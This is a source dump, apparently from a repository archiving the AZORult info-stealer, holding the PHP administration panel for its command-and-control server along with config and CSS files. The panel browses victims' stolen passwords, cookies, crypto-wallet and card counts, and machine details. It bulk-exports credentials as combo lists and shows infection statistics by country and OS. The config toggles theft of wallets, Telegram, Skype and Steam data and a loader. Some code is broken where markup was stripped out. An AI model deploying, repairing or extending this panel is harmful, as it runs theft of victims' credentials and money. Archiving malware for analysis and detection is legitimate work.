397 | if(isset($_GET['soft_type3'])) {if ($_GET['soft_type3']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>3";
398 | if(isset($_GET['soft_type4'])) {if ($_GET['soft_type4']=="1") $query .=" ";} else $query .=" AND passwords.p_soft_type<>4";
399 | if(isset($_GET['r_id'])) {if (($_GET['r_id']<>"") and (is_numeric($_GET['r_id']))) $query .=" AND passwords.r_id=".mysqli_real_escape_string($link, $_GET['r_id']);};
400 | //echo $query;
401 | if(isset($_GET['inc_il'])) if ($_GET['inc_il']=="1")
402 | {
403 | $query .= " AND ( ";
404 | $links = explode("\r\n", FileToString("./links.txt"));
405 | foreach ($links as $key => $value) {
406 | //echo $value;
407 | $query .= "(passwords.p_p1 LIKE '".mysqli_real_escape_string($link, $value)."') OR";
408 | }
409 |
410 | $query = substr($query,0,-2);
411 | $query .= " ) ";
412 | }
413 |
414 | $query .=" ORDER BY passwords.p_soft_type, passwords.p_soft_name";
415 |
416 |
417 |
418 |
419 |
420 |
421 |
422 | mysqli_close($link);
423 | $report = SQLToArray($query);
424 |
425 |
426 |
427 | $machine="";
428 | if(isset($_GET['r_id'])) {if (($_GET['r_id']<>"") and (is_numeric($_GET['r_id'])))
429 | $machineA = SQLToArray("SELECT concat(reports.date, ' ',reports.time),
430 | concat(reports.country, ' ',reports.ip) AS country_ip,
431 | concat(reports.compname, '(',reports.username,')') AS comp_user,
432 | concat(reports.os_ver, '||',reports.os_name, '(',os_arch,')') AS windows,
433 | reports.m_id AS m_id,
434 | reports.r_id,
435 | reports.comment,
436 | concat(reports.passwords_count, ' | ', reports.btc_count,' | ',reports.cc_count,' | ',reports.files_count),
437 | concat(reports.bin_type, '|', reports.bin_rights) AS bin,
438 | concat(reports.filename)
439 | FROM reports
440 | WHERE reports.r_id=".$_GET['r_id']." GROUP BY reports.r_id");
441 |
442 |
443 | if (sizeof(@$machineA)==1){
444 | $i=0;
445 | /*foreach($machineA[$i] as $key2=>$value){
446 | $machineA[$i][$key2] = antixss($value);
447 |
448 | }*/
449 | $filename = $machineA[$i]["concat(reports.filename)"];
450 | $actionscode="
451 |
452 | ";
453 | $actionscode=sprintf($actionscode,
454 | $machineA[$i]["r_id"],
455 | human_filesize(@filesize("./files/$filename"), 1),
456 | 'deleteRow(this); sendPost("action=DeleteReport&r_id='.$machineA[$i]["r_id"].'")'
457 | );
458 |
459 | $machineA[$i]["concat(reports.filename)"]=$actionscode;
460 | $country_ip=explode(' ', strtolower($machineA[$i]["country_ip"]));
461 | $machineA[$i]["country_ip"]="
".strtoupper($country_ip[0])." | $country_ip[1]";
462 |
463 | $windows=explode('||', $machineA[$i]["windows"]);
464 | $machineA[$i]["windows"]="
".$windows[1];
465 |
466 | $machineA[$i]["bin"].=' ';
467 | $machineA[$i]["comment"]=sprintf("Comment', 'pwd|btc|cc|files', 'T|R', 'Actions'),
476 | "reports-table",
477 | array(' ', ' ', ' ', ' ', ' ', ' ',' ', ' style="width: 20%"',' style="width: 7%"', ' align="right" width="1%" nowrap',' align="right" width="1%" nowrap'));
478 | }
479 | };
480 |
481 | for($i=0; $i$value){
483 | $report[$i][$key2] = antixss($value);
484 | }*/
485 | /*$report[$i]["p_soft_name"]=htmlspecialchars($report[$i]['p_soft_name'], ENT_QUOTES);
486 | $report[$i]["p_p1"]=htmlspecialchars($report[$i]['p_p1'], ENT_QUOTES);
487 | $report[$i]["p_p2"]=htmlspecialchars($report[$i]['p_p2'], ENT_QUOTES);
488 | $report[$i]["p_p3"]=htmlspecialchars($report[$i]['p_p3'], ENT_QUOTES);*/
489 |
490 |
491 | $report[$i]["p_soft_name"]="
".$report[$i]['p_soft_name'];
492 | //$tmp[$i]['p_soft_name'] = "
".$tmp[$i]['p_soft_name'];
493 |
494 | $r_id=$report[$i]["r_id"];
495 | $report[$i]["r_id"]="";
496 | };
497 |
498 |
499 |
500 | $reportstable=build_table($report,
501 | array('Soft name', 'URL', 'Username', 'Password', 'ReportID'),
502 | "reports-table",
503 | array(' ', ' ', ' ', ' ',' ' ,' align="right" width="1%" nowrap '));
504 | global $HTML;
505 | $templ = str_replace("%count%",
506 | count($report),
507 | FileToString('./html/passwords.html'));
508 | $HTML = str_replace("%PADE_DATA%", $templ.$machine.$reportstable, $HTML);
509 | };
510 |
511 |
512 |
513 |
514 | function ShowConverterPage(){
515 | global $HTML;
516 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/cookiesconverter.html'), $HTML);
517 | };
518 |
519 |
520 | function ShowExporterPage(){
521 |
522 | global $HTML;
523 | global $CSRF_TOKEN;
524 | $exporter_data="";
525 | $query = "";
526 | if (isset($_POST['export_type']))
527 | {
528 | if ($_POST['csrf_token'] != $CSRF_TOKEN) die('');
529 | if ($_POST['export_type'] == "0") $query = "SELECT DISTINCT passwords.p_p3 AS line FROM `passwords`";
530 | if ($_POST['export_type'] == "1") $query = "SELECT DISTINCT passwords.p_p2 AS line FROM `passwords`";
531 | if ($_POST['export_type'] == "2") $query = "SELECT DISTINCT concat(passwords.p_p1,'@',passwords.p_p2,':',passwords.p_p3) AS line FROM `passwords`";
532 | if ($_POST['export_type'] == "3") $query = "SELECT DISTINCT concat(passwords.p_p2,':',passwords.p_p3) AS line FROM `passwords` WHERE passwords.p_p2<>'' AND passwords.p_p3<>''" ;
533 |
534 | if ($_POST['export_type'] == "4") $query = "SELECT DISTINCT concat('SOFT:',Char(9),passwords.p_soft_name,Char(13),Char(10), 'HOST:',Char(9),passwords.p_p1,Char(13),Char(10),'USER:',Char(9),passwords.p_p2,Char(13),Char(10),'PASS:',Char(9),p_p3,Char(13),Char(10)) AS line FROM `passwords`";
535 |
536 | if($query!=""){
537 | $data = SQLToArray($query);
538 | foreach($data as $key => $value){
539 | $exporter_data .= $value['line']."\r\n";
540 | }
541 | }
542 |
543 | }
544 | $exporter_data = htmlspecialchars($exporter_data, ENT_QUOTES, 'UTF-8');
545 | $exporter_data = str_replace('<', '<', $exporter_data);
546 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/exporter.html'), $HTML);
547 | $HTML = str_replace("%csrf_token%", $CSRF_TOKEN, $HTML);
548 | $HTML = str_replace("%exporter_data%", $exporter_data, $HTML);
549 | };
550 |
551 | function ShowServerinfoPage(){
552 | global $HTML;
553 | $HTML = str_replace("%PADE_DATA%", FileToString('./html/serverinfo.html'), $HTML);
554 | $HTML = str_replace("%phpversion%", phpversion(), $HTML);
555 |
556 |
557 | $HTML = str_replace("%post_max_size%", ini_get('post_max_size'), $HTML);
558 | $HTML = str_replace("%upload_max_filesize%", ini_get('upload_max_filesize'), $HTML);
559 | $HTML = str_replace("%max_input_time%", ini_get('max_input_time'), $HTML);
560 | $HTML = str_replace("%max_execution_time%", ini_get('max_execution_time'), $HTML);
561 | $HTML = str_replace("%memory_limit%", ini_get('memory_limit'), $HTML);
562 | $HTML = str_replace("%error_log%", ini_get('error_log'), $HTML);
563 |
564 | $HTML = str_replace("%iconv%", function_exists('iconv') ? '+' : '-', $HTML);
565 | $HTML = str_replace("%zipmodule%", class_exists('ZipArchive') ? '+' : '-', $HTML);
566 | $HTML = str_replace("%jsonmodule%", function_exists('json_decode') ? '+' : '-', $HTML);
567 |
568 | clearstatcache();
569 |
570 | $HTML = str_replace("%filesw%", is_writable("./files/") ? '+' : '-', $HTML);
571 | $HTML = str_replace("%configw%", is_writable("./config.json") ? '+' : '-', $HTML);
572 | $HTML = str_replace("%linksw%", is_writable("./links.txt") ? '+' : '-', $HTML);
573 |
574 |
575 | $data="";
576 | foreach (ini_get_all(null, false) as $key => $value) $data.= "$key = $value;
";
577 | $HTML = str_replace("%phpini%", $data, $HTML);
578 |
579 |
580 | };
581 |
582 | function ProcessAction(){
583 | global $CSRF_TOKEN;
584 | if ($_POST['csrf_token'] != $CSRF_TOKEN) die('');
585 |
586 | $result = array();
587 | $link = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME) or die('No connect: ' . mysql_error());
588 | if($_POST['action']=="AddReportComment"){
589 | $query=sprintf("UPDATE reports
590 | SET reports.comment='%s'
591 | WHERE reports.r_id='%s'",
592 | mysqli_real_escape_string($link, $_POST['comment']),
593 | mysqli_real_escape_string($link, $_POST['r_id']));
594 |
595 | ExecSQL($query);
596 | }
597 |
598 | if($_POST['action']=="DeleteReport"){
599 | $query=sprintf("UPDATE reports
600 | SET reports.trashed='1'
601 | WHERE reports.r_id='%s'",
602 | mysqli_real_escape_string($link, $_POST['r_id']));
603 |
604 | ExecSQL($query);
605 | }
606 | if($_POST['action']=="SetConfig") {
607 | SetConfig();
608 | }
609 |
610 | if($_POST['action']=="EmptyTrash") {
611 |
612 | $filenames = SQLToArray("SELECT reports.filename FROM reports WHERE reports.trashed = 1");
613 | ExecSQL("DELETE FROM passwords
614 | WHERE passwords.r_id IN (SELECT reports.r_id FROM reports WHERE reports.trashed = 1)");
615 | ExecSQL("DELETE FROM cookies
616 | WHERE cookies.r_id IN (SELECT reports.r_id FROM reports WHERE reports.trashed = 1)");
617 |
618 | ExecSQL("DELETE FROM reports
619 | WHERE reports.trashed = 1");
620 |
621 | foreach ($filenames as $filename){
622 | $isH = false;
623 | if (strripos($value, "/") !== false) $isH = true;
624 | if (strripos($value, "\\") !== false) $isH = true;
625 | if (!$isH)
626 | @unlink("./files/".$filename['filename']);
627 | }
628 | header("Location: ".$_SERVER["REQUEST_URI"]);
629 | }
630 |
631 |
632 | if($_POST['action']=="Empty0000") {
633 |
634 | $filenames = SQLToArray("SELECT reports.filename FROM reports WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0");
635 | ExecSQL("DELETE FROM passwords
636 | WHERE passwords.r_id IN (SELECT reports.r_id FROM reports WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0)");
637 | ExecSQL("DELETE FROM cookies
638 | WHERE cookies.r_id IN (SELECT reports.r_id FROM reports WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0)");
639 |
640 | ExecSQL("DELETE FROM reports
641 | WHERE reports.files_count=0 and reports.btc_count=0 and reports.cc_count=0 and reports.passwords_count=0");
642 |
643 | foreach ($filenames as $filename){
644 | $isH = false;
645 | if (strripos($value, "/") !== false) $isH = true;
646 | if (strripos($value, "\\") !== false) $isH = true;
647 | if (!$isH)
648 | @unlink("./files/".$filename['filename']);
649 | }
650 | header("Location: ".$_SERVER["REQUEST_URI"]);
651 | }
652 | if($_POST['action']=="DeleteAll") {
653 | ExecSql("TRUNCATE TABLE passwords");
654 | ExecSql("TRUNCATE TABLE reports");
655 | ExecSql("TRUNCATE TABLE cookies");
656 |
657 | if (file_exists('./files'))
658 | foreach (glob('./files/*.zip') as $file)
659 | unlink($file);
660 | header("Location: ".$_SERVER["REQUEST_URI"]);
661 | }
662 |
663 | if($_POST['action']=="SetLinks") {
664 | $ldata=$_POST['data'];
665 | $ldata = str_replace('<', '<', $ldata);
666 | $ldata = str_replace('"', '', $ldata);
667 | $ldata = str_replace("'", '', $ldata);
668 | WriteToFile("./links.txt", $ldata);
669 | header("Location: ".$_SERVER["REQUEST_URI"]);
670 | }
671 | };
672 |
673 | function Main(){
674 | if (isset($_POST['action'])) {
675 | ProcessAction();
676 | die();
677 | };
678 | global $PAGE;
679 | global $HTML;
680 | if(isset($_GET['page'])){
681 | $PAGE=$_GET['page'];
682 | }else{
683 | $PAGE="home";
684 | };
685 |
686 | LoadPageSkeleton();
687 | ShowMenu();
688 | if($PAGE == "home") ShowHomePage();
689 | if($PAGE == "reports") ShowReportsPage();
690 | if($PAGE == "passwords") ShowPasswordsPage();
691 | if($PAGE == "cookiesconverter") ShowConverterPage();
692 | if($PAGE == "serverinfo") ShowServerinfoPage();
693 | if($PAGE == "importantlinks") ShowImportantLinksPage();
694 | if($PAGE == "exporter") ShowExporterPage();
695 |
696 | if($PAGE == "logout") {
697 | header('Set-cookie: pwd=0; httpOnly' );
698 | header("Location: ". $_SERVER['PHP_SELF']);
699 | }
700 |
701 | echo $HTML;
702 | };
703 |
704 | function Auth(){
705 | if (@$_POST['auth']=="1"){
706 | sleep(2);
707 | if (@$_POST['password']==ADMIN_PWD)
708 | {
709 | header('Set-cookie: pwd='.md5($_POST['password'].$_SERVER['HTTP_USER_AGENT']."").'; httpOnly' );
710 | header("Location: ".$_SERVER['PHP_SELF']);
711 | };
712 | };
713 | };
714 | Auth();
715 | if((@$_COOKIE["pwd"]) != md5(ADMIN_PWD.$_SERVER['HTTP_USER_AGENT']."")) die(FileToString('./html/login.html'));
716 | Main();
717 | ?>
--------------------------------------------------------------------------------
/panel/config.json:
--------------------------------------------------------------------------------
1 | {"isDouble":true,"isSavedPasswords":false,"isBrowserData":false,"isBrowserHistory":false,"isWallets":false,"isSkype":false,"isTelegram":false,"isSteam":false,"isScreenshot":false,"isDelete":true,"files":{},"loader":{}}
--------------------------------------------------------------------------------
/panel/css/menu.css:
--------------------------------------------------------------------------------
1 |
2 | /* Please Keep this font import at the very top of any CSS file */
3 | @charset "UTF-8";
4 | /* Starter CSS for Flyout Menu */
5 | #cssmenu {
6 | padding: 0;
7 | margin: 0;
8 | border: 0;
9 | line-height: 1;
10 | =
11 | }
12 | #cssmenu ul,
13 | #cssmenu ul li,
14 | #cssmenu ul ul {
15 | list-style: none;
16 | margin: 0;
17 | padding: 0;
18 | }
19 | #cssmenu ul {
20 | position: relative;
21 | z-index: 597;
22 | float: left;
23 | }
24 | #cssmenu ul li {
25 | float: left;
26 | min-height: 1px;
27 | line-height: 1em;
28 | vertical-align: middle;
29 | position: relative;
30 | }
31 | #cssmenu ul li.hover,
32 | #cssmenu ul li:hover {
33 | position: relative;
34 | z-index: 599;
35 | cursor: default;
36 | }
37 | #cssmenu ul ul {
38 | visibility: hidden;
39 | position: absolute;
40 | top: 100%;
41 | left: 0px;
42 | z-index: 598;
43 | width: 100%;
44 | }
45 | #cssmenu ul ul li {
46 | float: none;
47 | }
48 | #cssmenu ul ul ul {
49 | top: -2px;
50 | right: 0;
51 | }
52 | #cssmenu ul li:hover > ul {
53 | visibility: visible;
54 | }
55 | #cssmenu ul ul {
56 | top: 1px;
57 | left: 99%;
58 | }
59 | #cssmenu ul li {
60 | float: none;
61 | }
62 | #cssmenu ul ul {
63 | margin-top: 1px;
64 | }
65 | #cssmenu ul ul li {
66 | font-weight: normal;
67 | }
68 | /* Custom CSS Styles */
69 | #cssmenu {
70 | width: 100%;
71 | //background: #333333;
72 |
73 | font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;
74 | zoom: 1;
75 | font-size: 12px;
76 | }
77 | #cssmenu:before {
78 | content: '';
79 | display: block;
80 | }
81 | #cssmenu:after {
82 | content: '';
83 | display: table;
84 | clear: both;
85 | }
86 | #cssmenu a {
87 | display: block;
88 | padding: 15px 20px;
89 | color: #ffffff;
90 | text-decoration: none;
91 | text-transform: uppercase;
92 | border-bottom: 1px solid black;
93 | }
94 | #cssmenu > ul {
95 | width: 100%;
96 | }
97 | #cssmenu ul ul {
98 | width: 100%;
99 | }
100 | #cssmenu > ul > li > a {
101 | //border-right: 4px solid #1b9bff;
102 | color: #ffffff;
103 | }
104 | #cssmenu > ul > li > a:hover {
105 | color: #ffffff;
106 | }
107 | #cssmenu > ul > li.active a {
108 | background: #1b9bff;
109 | }
110 | #cssmenu > ul > li a:hover,
111 | #cssmenu > ul > li:hover a {
112 | background: #1b9bff;
113 | }
114 | #cssmenu li {
115 | position: relative;
116 | }
117 | #cssmenu ul li.has-sub > a:after {
118 | content: '';
119 | position: absolute;
120 | top: 50%;
121 | right: 15px;
122 | margin-top: -6px;
123 | }
124 | #cssmenu ul ul li.first {
125 | -webkit-border-radius: 0 3px 0 0;
126 | -moz-border-radius: 0 3px 0 0;
127 | border-radius: 0 3px 0 0;
128 | }
129 | #cssmenu ul ul li.last {
130 | -webkit-border-radius: 0 0 3px 0;
131 | -moz-border-radius: 0 0 3px 0;
132 | border-radius: 0 0 3px 0;
133 | border-bottom: 0;
134 | }
135 | #cssmenu ul ul {
136 | -webkit-border-radius: 0 3px 3px 0;
137 | -moz-border-radius: 0 3px 3px 0;
138 | border-radius: 0 3px 3px 0;
139 | }
140 | #cssmenu ul ul {
141 | border: 1px solid #0082e7;
142 | }
143 | #cssmenu ul ul a {
144 | font-size: 12px;
145 | color: #ffffff;
146 | }
147 | #cssmenu ul ul a:hover {
148 | color: #ffffff;
149 | }
150 | #cssmenu ul ul li {
151 | border-bottom: 1px solid #0082e7;
152 | }
153 | #cssmenu ul ul li:hover > a {
154 | background: #4eb1ff;
155 | color: #ffffff;
156 | }
157 | #cssmenu.align-right > ul > li > a {
158 | border-left: 4px solid #1b9bff;
159 | border-right: none;
160 | }
161 | #cssmenu.align-right {
162 | float: right;
163 | }
164 | #cssmenu.align-right li {
165 | text-align: right;
166 | }
167 | #cssmenu.align-right ul li.has-sub > a:before {
168 | content: '+';
169 | position: absolute;
170 | top: 50%;
171 | left: 15px;
172 | margin-top: -6px;
173 | }
174 | #cssmenu.align-right ul li.has-sub > a:after {
175 | content: none;
176 | }
177 | #cssmenu.align-right ul ul {
178 | visibility: hidden;
179 | position: absolute;
180 | top: 0;
181 | left: -100%;
182 | z-index: 598;
183 | width: 100%;
184 | }
185 | #cssmenu.align-right ul ul li.first {
186 | -webkit-border-radius: 3px 0 0 0;
187 | -moz-border-radius: 3px 0 0 0;
188 | border-radius: 3px 0 0 0;
189 | }
190 | #cssmenu.align-right ul ul li.last {
191 | -webkit-border-radius: 0 0 0 3px;
192 | -moz-border-radius: 0 0 0 3px;
193 | border-radius: 0 0 0 3px;
194 | }
195 | #cssmenu.align-right ul ul {
196 | -webkit-border-radius: 3px 0 0 3px;
197 | -moz-border-radius: 3px 0 0 3px;
198 | border-radius: 3px 0 0 3px;
199 | }
200 |
--------------------------------------------------------------------------------
/panel/css/style.css:
--------------------------------------------------------------------------------
1 | BODY {
2 | font-family: "Helvetica Neueu", Helvetica, Arial, sans-serif;
3 |
4 | background-color: #191c22;
5 | margin: 0;
6 | //background: #fc0;
7 |
8 | background-attachment: fixed;
9 | background-size: 100%;
10 | //background: linear-gradient(to top, #243949, #517fa4) no-repeat #243949;
11 | }
12 |
13 |
14 | .edit {
15 | border:1px solid #9E9E9E;
16 | color: #FFFFFF;
17 | padding: 3px;
18 | margin-top: 2px;
19 | margin-bottom: 2px;
20 | font-size: 11px;
21 | font-family: Verdana;
22 | background: rgba(0, 0, 0, 0);
23 | }
24 |
25 | textarea {
26 | border:1px solid #9E9E9E;
27 | color: #FFFFFF;
28 | padding: 3px;
29 | margin-top: 2px;
30 | margin-bottom: 2px;
31 | font-size: 11px;
32 | font-family: Verdana;
33 | background: #222630;
34 | }
35 |
36 | .sbutton {
37 | border:1px solid #9E9E9E;
38 | color: #FFFFFF;
39 | padding: 3px;
40 | margin-top: 2px;
41 | margin-bottom: 2px;
42 | font-size: 11px;
43 | font-family: Verdana;
44 | background: rgba(0, 0, 0, 0);
45 | cursor: pointer;
46 | }
47 |
48 | button {
49 | border:1px solid #9E9E9E;
50 | color: #FFFFFF;
51 | padding: 3px;
52 | margin-top: 2px;
53 | margin-bottom: 2px;
54 | font-size: 11px;
55 | font-family: Verdana;
56 | background: rgba(0, 0, 0, 0.3);
57 | cursor: pointer;
58 | }
59 |
60 | .page-all{
61 |
62 | }
63 |
64 | .page-header-logo{
65 | width: 100px;
66 | height: 100%;
67 | background: rgba(0, 0, 0, 0) url("../img/logo.png") no-repeat scroll center center / cover;
68 | }
69 |
70 | .page-header{
71 | width: 100%;
72 | height: 50px;
73 | background-color: #222630;
74 | }
75 |
76 |
77 | .page-content{
78 |
79 | }
80 |
81 | .page-left-bar{
82 | position:absolute;
83 | margin-right: auto;
84 |
85 | width: 9%;
86 | min-height: 800px;
87 | background-color: #222630;
88 | border-radius: 0px 0px 0px 0px;
89 | border: 1px;
90 | border-style: solid;
91 | }
92 |
93 | .page-data{
94 | position:relative;
95 | margin-left: auto;
96 | margin-top: 25px;
97 |
98 | width: 90%;
99 | min-height: 800px;
100 | background-color: #222630;
101 | border-radius: 0px 0px 0px 0px;
102 | border: 1px;
103 | border-style: solid;
104 | }
105 |
106 |
107 | .info-text1{
108 | background: #131614;
109 | border: 1px;
110 | border-style: solid;
111 | border-color: #614343;
112 | color: #E6E6FA;
113 | padding: 10px;
114 | margin: 5px;
115 | }
116 |
117 | .data-box{
118 | background: #131614;
119 | border: 1px;
120 | border-style: solid;
121 | border-color: #614343;
122 | color: #E6E6FA;
123 | width: 100%;
124 | height: 100%;
125 | min-height: 600px;
126 | }
127 |
128 | .dates-table{
129 | background: #131614;
130 | border-collapse: collapse;
131 |
132 | color: #ffffff;
133 | margin-top: 0;
134 | width: 100%;
135 |
136 | }
137 |
138 | .dates-table TD, TH, TR{
139 | border: 1px solid #614343;
140 | }
141 |
142 |
143 | .reports-table{
144 | white-space: nowrap;
145 | border-style: solid;
146 | border-color: #131614;
147 | width: 99%;
148 | margin: auto;
149 | font-size: 13px;
150 | border-collapse: collapse ;
151 |
152 |
153 | }
154 |
155 | .reports-table th{
156 | background: linear-gradient(to top, #131614, #222A2F) no-repeat #131614;
157 | color: #E6E6FA;
158 | padding: 1px;
159 | border: 1px solid maroon;
160 |
161 | }
162 |
163 | .reports-table tr{
164 | background-color: #e9e9e9 ;
165 | padding: 10px;
166 |
167 | }
168 |
169 | .reports-table tr:nth-child(odd){
170 | background-color: #d8d8d8;
171 | padding: 10px;
172 |
173 | }
174 |
175 | .reports-table td{
176 | border: 1px solid maroon;
177 |
178 | }
179 |
180 | .reports-table caption{
181 | background-color: #131614 ;
182 |
183 | }
184 |
185 | .reports-table tbody tr:hover {
186 | //font-weight: bold;
187 | background: #1b9bff;
188 | color: #fff;
189 | }
190 |
191 |
192 |
193 |
194 | .config-table{
195 | color: white;
196 | border-style: solid;
197 | border-color: rgba(0, 0, 0, 0);
198 | border-collapse: collapse ;
199 |
200 |
201 | }
202 |
203 | .config-table tr{
204 | background-color: rgba(0, 0, 0, 0) ;
205 | padding: 2px;
206 | margin: 5px;
207 | //vertical-align: top;
208 |
209 | }
210 |
211 | .config-table td{
212 | padding-left: 5px;
213 |
214 |
215 |
216 | }
217 |
218 | .config-button {
219 | border-color: red;
220 | background-color: rgba(128,128,128, 0.2) ;
221 | color: white;
222 | padding-left: 5px;
223 | cursor: pointer;
224 |
225 |
226 | }
227 |
228 |
229 |
230 |
231 |
232 | .stat-table{
233 | color: white;
234 | //border-style: solid;
235 | //border-color: rgba(0, 0, 0, 1);
236 | border-collapse: collapse ;
237 | background-color: rgba(25, 28, 34, 0.3);
238 |
239 | }
240 |
241 | .stat-table TD, TH, TR{
242 | border: 1px solid #232627;
243 | padding-left: 10px;
244 | padding-right: 10px;
245 | }
246 |
247 |
248 |
249 |
250 |
251 | .spoiler > input + .box > blockquote{
252 | display: none;
253 | }
254 | .spoiler > input:checked + .box > blockquote {
255 | display: block;
256 | }
257 | .spoiler > input[type="checkbox"] {
258 | cursor: pointer;
259 | border-color:transparent!important;
260 | border-style:none!important;
261 | background:transparent none!important;
262 | position:relative;z-index:1;
263 | margin:-10px 0 -30px -230px;
264 | }
265 | .spoiler > input[type="checkbox"]:focus {
266 | outline:none; /* Убираем обводку в ИЕ8 при "фокусе" */
267 | }
268 | .spoiler span.close,
269 | .spoiler span.open{
270 | padding-left:22px;
271 | color: white;
272 | }
273 | .spoiler > input + .box > span.close {
274 | display: none;
275 | }
276 | .spoiler > input:checked + .box > span.close {
277 | background: url("../img/filter_minus.png") 4px 60% no-repeat;
278 | display: inline;
279 | }
280 | .spoiler > input:checked + .box > span.open {
281 | display: none;
282 | }
283 | .spoiler > input + .box > span.open {
284 | background: url("../img/filter_plus.png") 4px 60% no-repeat;
285 | display: inline;
286 | }
287 | .spoiler blockquote,
288 | .spoiler{
289 | padding:1em;
290 |
291 | }
292 | .spoiler {
293 | overflow-x:hidden;
294 |
295 | //border:#E5E5E5 solid 2px;
296 |
297 | }
298 | .spoiler blockquote {
299 | margin-top:5px;
300 | min-height: 23px;
301 |
302 | }
303 |
304 |
305 |
306 |
307 |
308 |
--------------------------------------------------------------------------------
/panel/files/.htaccess:
--------------------------------------------------------------------------------
1 | Options -Indexes
--------------------------------------------------------------------------------
/panel/files/index.html:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NexusFuzzy/azorult/85920ea74cfa21a79fc4657afea5a1cee322f8e0/panel/files/index.html
--------------------------------------------------------------------------------
/panel/functions.php:
--------------------------------------------------------------------------------
1 | ";
40 | $html .= '';
41 | for($i=0; $i';
43 | }
44 | $html .= '
';
45 | if(sizeof($array)!=0){
46 | foreach( $array as $key=>$value){
47 | $html .= '';
48 | if(sizeof($value)!=0){
49 | $x=0;
50 | foreach($value as $key2=>$value2){
51 | $x=$x+1;
52 | @$html .= "" . $value2 . ' | ';
53 | }
54 | }
55 |
56 | $html .= '
';
57 | }
58 | }
59 |
60 |
61 | $html .= '';
62 | return $html;
63 | };
64 |
65 |
66 | function human_filesize($bytes, $decimals = 2) {
67 | $sz = 'BKMGTP';
68 | $factor = floor((strlen($bytes) - 1) / 3);
69 | return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
70 | }
71 |
72 | ?>
--------------------------------------------------------------------------------
/panel/guest.php:
--------------------------------------------------------------------------------
1 | $value){
40 | $result[$i][$key2] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
41 |
42 | }
43 | }
44 |
45 | return $result;
46 | };
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 | function ShowHomePage(){
57 | global $HTML;
58 | $page=FileToString('./html/home.html');
59 | $tables='';
60 | $div="";
61 |
62 |
63 | $c_all = SQLToArray("SELECT COUNT(*) AS c FROM reports")[0]['c'];
64 |
65 |
66 | $c_today = SQLToArray("SELECT COUNT(*) AS c FROM reports
67 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1) AND DAY(reports.date) = DAY(NOW())")[0]['c'];
68 |
69 | $c_week = SQLToArray("SELECT COUNT(*) AS c FROM reports
70 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW()) AND WEEK(reports.date, 1) = WEEK(NOW(), 1)")[0]['c'];
71 |
72 |
73 | $c_month = SQLToArray("SELECT COUNT(*) AS c FROM reports
74 | WHERE YEAR(reports.date) = YEAR(NOW()) AND MONTH(reports.date) = MONTH(NOW())")[0]['c'];
75 |
76 | $c_stat = array(
77 | array('All', $c_all),
78 | array('Today', $c_today),
79 | array('Week', $c_week),
80 | array('Month', $c_month),
81 | );
82 |
83 | $tables .=$div."Reports count".build_table($c_stat,
84 | array('', ''),
85 | "stat-table",
86 | array(' ', ' '),
87 | 'reportsgrid'
88 | )."
";
89 |
90 | $tmp = SQLToArray("SELECT country, COUNT(*) AS CountRec,
91 | COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
92 | FROM reports
93 | GROUP BY `country`
94 | ORDER BY CountRec DESC");
95 | for($i=0; $i ".$tmp[$i]['country'];
97 | }
98 | $tables .=$div."Country stats".build_table($tmp,
99 | array('Country', 'count', '%'),
100 | "stat-table",
101 | array(' ', ' ', ' '),
102 | 'reportsgrid'
103 | )."";
104 |
105 |
106 |
107 | $tables .=$div."Arch stats".build_table(SQLToArray(" SELECT `os_arch`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
108 | FROM reports
109 | GROUP BY `os_arch`
110 | ORDER BY CountRec DESC"),
111 | array('Arch', 'count', '%'),
112 | "stat-table",
113 | array(' ', ' ', ' '),
114 | 'reportsgrid'
115 | )."";
116 |
117 | $tmp = SQLToArray("SELECT `os_ver`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
118 | FROM reports
119 | GROUP BY `os_ver`
120 | ORDER BY CountRec DESC");
121 | for($i=0; $i ".$tmp[$i]['os_ver'];
123 | }
124 |
125 | $tables .=$div."OS stats".build_table($tmp,
126 | array('OS', 'count', '%'),
127 | "stat-table",
128 | array(' ', ' ', ' '),
129 | 'reportsgrid'
130 | )."";
131 |
132 | $tables .=$div."Rights stats".build_table(SQLToArray(" SELECT `bin_rights`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
133 | FROM reports
134 | GROUP BY `bin_rights`
135 | ORDER BY CountRec DESC"),
136 | array('Rights', 'count', '%'),
137 | "stat-table",
138 | array(' ', ' ', ' '),
139 | 'reportsgrid'
140 | )."";
141 |
142 | $tables .=$div."Binary type stats".build_table(SQLToArray(" SELECT `bin_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM reports)*100 AS percent
143 | FROM reports
144 | GROUP BY `bin_type`
145 | ORDER BY CountRec DESC"),
146 | array('Type', 'count', '%'),
147 | "stat-table",
148 | array(' ', ' ', ' '),
149 | 'reportsgrid'
150 | )."";
151 |
152 | $arr = SQLToArray(" SELECT `p_soft_type`, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent
153 | FROM passwords
154 | GROUP BY `p_soft_type`
155 | ORDER BY CountRec DESC");
156 | for ($i=0; $i";
169 | $tmp = SQLToArray(" SELECT p_soft_name, COUNT(*) AS CountRec, COUNT(*)/(SELECT COUNT(*) FROM passwords)*100 AS percent
170 | FROM passwords
171 | GROUP BY `p_soft_name`
172 | ORDER BY CountRec DESC");
173 | for($i=0; $i ".$tmp[$i]['p_soft_name'];
175 | }
176 | $tables .=$div."Software stats".build_table($tmp,
